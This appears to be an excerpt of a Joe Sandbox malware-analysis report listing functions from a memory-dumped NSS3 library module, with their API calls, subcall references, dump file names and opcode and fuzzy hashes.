Opcode ID: c79ae12b69a02f4612097b6aee89c9aef8e8ed9e8bdba55d7cc63eca04a187e6
Instruction ID: 38c393f50c948856089fd2d317428af2a5ef7069f755ceb91a95d4eb972eced4
Opcode Fuzzy Hash: c79ae12b69a02f4612097b6aee89c9aef8e8ed9e8bdba55d7cc63eca04a187e6
Instruction Fuzzy Hash: 98012631E042186BC7108B6BDD11B5BB3F4AB89318F554529EA4E5BE80EB31A90987A1

Function 6CC77F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CC781DF
LeaveCriticalSection.KERNEL32(?), ref: 6CC78239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CC78255
sqlite3_free.NSS3(00000000), ref: 6CC78260

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 56e03a688c73010364556f31bda082f6673da92d25c246ba8f35bd8ad215b20e
Instruction ID: 4c92bcb9a29a4815edb45d09930efbb0050eccb56b92ca4946eb66417c7156cc
Opcode Fuzzy Hash: 56e03a688c73010364556f31bda082f6673da92d25c246ba8f35bd8ad215b20e
Instruction Fuzzy Hash: AE91C031B01608CBDF15DFE0E948BADB7B1FF02309F14412AD51AAB650E7396C56CBA2

Function 6CD51D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CD51D8F

Part of subcall function 6CD414C0: TlsGetValue.KERNEL32 ref: 6CD414E0
Part of subcall function 6CD414C0: EnterCriticalSection.KERNEL32 ref: 6CD414F5
Part of subcall function 6CD414C0: PR_Unlock.NSS3 ref: 6CD4150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CD51DA6

Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD410F3
Part of subcall function 6CD410C0: EnterCriticalSection.KERNEL32(?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4110C
Part of subcall function 6CD410C0: PL_ArenaAllocate.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41141
Part of subcall function 6CD410C0: PR_Unlock.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41182
Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CD51E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CD51ED0

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 4f51a36044af2766b638c8e54e6c30304831fd170fae3b6b2dee8d453e566c76
Instruction ID: 1223ba86ba65bdbcd33a5b6d09590b8e3b3cb3475f4492a819c0df2346b55fb3
Opcode Fuzzy Hash: 4f51a36044af2766b638c8e54e6c30304831fd170fae3b6b2dee8d453e566c76
Instruction Fuzzy Hash: 79517775A00309DFDF00CF98D884BAEB7B6BF49308F548129E9199B760D731E969CB90

Function 6CDA4FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CC885D2,00000000,?,?), ref: 6CDA4FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDA500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDA50C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDA50D6

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 2af5aa01f135ee8e523590ed8c4c746a42ebf7129188073a05bedf3fc86dd7cd
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: A34192B2A006118BCB18CF59DCD179AB7E1BF4431871D466DC85ACBB02F375E891CB95

Function 6CCCFFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6CCCFDFE), ref: 6CCCFFAD

Part of subcall function 6CC6CA30: EnterCriticalSection.KERNEL32(?,?,?,6CCCF9C9,?,6CCCF4DA,6CCCF9C9,?,?,6CC9369A), ref: 6CC6CA7A
Part of subcall function 6CC6CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CC6CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6CCCFDFE), ref: 6CCCFFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6CCCFDFE), ref: 6CCD001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6CCCFDFE), ref: 6CCD006F

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: 4cdae96ae5c9acc6baa1e8674b49890ad534b2eeecfaa5a95b0f531cbafe9e25
Instruction ID: 9cf8f2d6dc3fabd4a5a7863d82b063bda4e283a7b5ade181f7b7d7f324236904
Opcode Fuzzy Hash: 4cdae96ae5c9acc6baa1e8674b49890ad534b2eeecfaa5a95b0f531cbafe9e25
Instruction Fuzzy Hash: F441E271F002059BDF04DFA8D885AAE7771FB45308F054129D90A93700EB39BD52CBA1

Function 6CDB7DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDB7E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDB7EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDB7EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CDB7ED8

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 8378a2350990c0135fa8cee48563fd7f3f1a10a746f90d1e69779a4ef7c0d8c5
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: D13195F1A011118FDB04CF18D89199ABBE2FF8831871B8169D8596BB21EB71EC45CBE1

Function 6CD6DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6CCF3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CD0AE42), ref: 6CCF30AA
Part of subcall function 6CCF3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CCF30C7
Part of subcall function 6CCF3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CCF30E5
Part of subcall function 6CCF3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CCF3116
Part of subcall function 6CCF3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CCF312B
Part of subcall function 6CCF3090: PK11_DestroyObject.NSS3(?,?), ref: 6CCF3154
Part of subcall function 6CCF3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCF317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CD6DBBD), ref: 6CD6DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD6DFEE

Part of subcall function 6CD086D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD08716
Part of subcall function 6CD086D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD08727
Part of subcall function 6CD086D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CD0873B
Part of subcall function 6CD086D0: PR_Unlock.NSS3(?), ref: 6CD0876F
Part of subcall function 6CD086D0: PR_SetError.NSS3(00000000,00000000), ref: 6CD08787

Part of subcall function 6CD2F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CD2F854
Part of subcall function 6CD2F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CD2F868
Part of subcall function 6CD2F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CD2F882
Part of subcall function 6CD2F820: free.MOZGLUE(04C483FF,?,?), ref: 6CD2F889
Part of subcall function 6CD2F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CD2F8A4
Part of subcall function 6CD2F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CD2F8AB
Part of subcall function 6CD2F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CD2F8C9
Part of subcall function 6CD2F820: free.MOZGLUE(280F10EC,?,?), ref: 6CD2F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6CD6DBBD), ref: 6CD6DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6CD6DBBD), ref: 6CD6E007

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: daedc2df23ced557703885b070f81a3357d50f65a900fe069f5ac16617462891
Instruction ID: 440814207c9fab181f963902076aa88c5b15aac45f8f82ce6c6208ef35030e66
Opcode Fuzzy Hash: daedc2df23ced557703885b070f81a3357d50f65a900fe069f5ac16617462891
Instruction Fuzzy Hash: 5531F5B1A0428197D7019B7AAC84A9BB2F8AF5530CF140135EA09C7F62FB35D919C2F2

Function 6CCE6C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CCE6C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CCE6CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CCE6CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CE08FE0), ref: 6CCE6CFE

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: bc8a7eb266b40acab6773a926141ed306430bdcbb41cfb2e793633c19f02714b
Instruction ID: f3bd540aa87aeff9cec176c66dc0e3cbf18ea868cc6fa63ef8caf90fef503328
Opcode Fuzzy Hash: bc8a7eb266b40acab6773a926141ed306430bdcbb41cfb2e793633c19f02714b
Instruction Fuzzy Hash: DD3181B1A0061A9FDB08CF65C891ABFBBF5EF4A248B10442DDA05D7750FB319915CBA0

Function 6CDF4F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CDF4F5D
free.MOZGLUE(?), ref: 6CDF4F74
free.MOZGLUE(?), ref: 6CDF4F82
GetLastError.KERNEL32 ref: 6CDF4F90

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 4c52a97a945b15764cf33f2a61c54c75dd3f62987f10245a625078900fb355b1
Instruction ID: 84f10611ee600e45a0f405c28fe18b2df555c5ab03e81144199971d198828e1d
Opcode Fuzzy Hash: 4c52a97a945b15764cf33f2a61c54c75dd3f62987f10245a625078900fb355b1
Instruction Fuzzy Hash: AF313975A002198BEB01CB69DD81BDA73F8FF45358F064225EC29A7780D734E90686A1

Function 6CD56DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CD56E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD56E57

Part of subcall function 6CD8C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD8C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CD56E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CD56EAA

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 15dff3e733b95f5b90bfd1d3493b0a99ed46624cacc365106b9c287edc6b268c
Instruction ID: 737da96cd2cd5505151cb640f2237d50f774e8ab5a0bb700aeddce180a2ce241
Opcode Fuzzy Hash: 15dff3e733b95f5b90bfd1d3493b0a99ed46624cacc365106b9c287edc6b268c
Instruction Fuzzy Hash: F231B171712512EADF141F34D80439EB7A4AB1131AF90863CD499D6B60E731E466CF91

Function 6CD3DDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6CD3DDB1,?,00000000), ref: 6CD3DDF4

Part of subcall function 6CD414C0: TlsGetValue.KERNEL32 ref: 6CD414E0
Part of subcall function 6CD414C0: EnterCriticalSection.KERNEL32 ref: 6CD414F5
Part of subcall function 6CD414C0: PR_Unlock.NSS3 ref: 6CD4150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6CD3DDB1,?,00000000), ref: 6CD3DE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6CD3DDB1,?,00000000), ref: 6CD3DE17

Part of subcall function 6CD40BE0: malloc.MOZGLUE(6CD38D2D,?,00000000,?), ref: 6CD40BF8
Part of subcall function 6CD40BE0: TlsGetValue.KERNEL32(6CD38D2D,?,00000000,?), ref: 6CD40C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CD3DE80

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 8073584cf93e9da8fd6f9e84931095cd9a9ce96a5e77feaebdc279a5fc410b79
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: A13107B1910752DBE700CF16C880652BBA4BFA6318B249229D89C97B61E7B0F0A4CF90

Function 6CD2FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CD05ADC,?,00000000,00000001,?,?,00000000,?,6CCFBA55,?,?), ref: 6CD2FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CD2FE5F
PR_Unlock.NSS3(78831D74), ref: 6CD2FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6CD2FED6

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 5b35614ee9d28834a64df85b1550bbbc19588cd55f753069a99ece4cdcacfa17
Instruction ID: 77c3f0a2cb6d525dfb42de84538eef570a2a51d9f0182eea9da237ec6b788fc6
Opcode Fuzzy Hash: 5b35614ee9d28834a64df85b1550bbbc19588cd55f753069a99ece4cdcacfa17
Instruction Fuzzy Hash: 7B210131A00625EBEB12AF64D84479A73B8BF0576CF040525DE48A7A62E738E964CBD1

Function 6CD33F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6CD33440: PK11_GetAllTokens.NSS3 ref: 6CD33481
Part of subcall function 6CD33440: PR_SetError.NSS3(00000000,00000000), ref: 6CD334A3
Part of subcall function 6CD33440: TlsGetValue.KERNEL32 ref: 6CD3352E
Part of subcall function 6CD33440: EnterCriticalSection.KERNEL32(?), ref: 6CD33542
Part of subcall function 6CD33440: PR_Unlock.NSS3(?), ref: 6CD3355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CD1E80C,00000000,00000000,?,?,?,?,6CD28C5B,-00000001), ref: 6CD33FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CD1E80C,00000000,00000000,?,?,?,?,6CD28C5B,-00000001), ref: 6CD33FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6CD1E80C,00000000,00000000,?,?,?,?,6CD28C5B,-00000001), ref: 6CD33FFE
PR_SetError.NSS3 ref: 6CD3401A

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: e903f0ae2ec35e813b4cb8883cc5294a081980bc0fb1d1ecd236899bc9a4cb9c
Instruction ID: 70cb5c95b0e6cb2825f69e7751a70f693035eaff7701231dfcbe37fb5a13f72c
Opcode Fuzzy Hash: e903f0ae2ec35e813b4cb8883cc5294a081980bc0fb1d1ecd236899bc9a4cb9c
Instruction Fuzzy Hash: 68318070604714CFD710AF69D58466EBBF0FF85358F01592ED98987720EB35E885CB92

Function 6CD8A8F0 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CD72AE9,00000000,0000065C), ref: 6CD8A91D

Part of subcall function 6CD2ADC0: TlsGetValue.KERNEL32(?,6CD0CDBB,?,6CD0D079,00000000,00000001), ref: 6CD2AE10
Part of subcall function 6CD2ADC0: EnterCriticalSection.KERNEL32(?,?,6CD0CDBB,?,6CD0D079,00000000,00000001), ref: 6CD2AE24
Part of subcall function 6CD2ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CD0D079,00000000,00000001), ref: 6CD2AE5A
Part of subcall function 6CD2ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CD0CDBB,?,6CD0D079,00000000,00000001), ref: 6CD2AE6F
Part of subcall function 6CD2ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CD0CDBB,?,6CD0D079,00000000,00000001), ref: 6CD2AE7F
Part of subcall function 6CD2ADC0: TlsGetValue.KERNEL32(?,6CD0CDBB,?,6CD0D079,00000000,00000001), ref: 6CD2AEB1
Part of subcall function 6CD2ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CD0CDBB,?,6CD0D079,00000000,00000001), ref: 6CD2AEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CD72AE9,00000000,0000065C), ref: 6CD8A934
SECITEM_ZfreeItem_Util.NSS3(00068C9A,00000000,00000000,00000000,?,?,6CD72AE9,00000000,0000065C), ref: 6CD8A949
free.MOZGLUE(00068C86,00000000,0000065C), ref: 6CD8A952

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
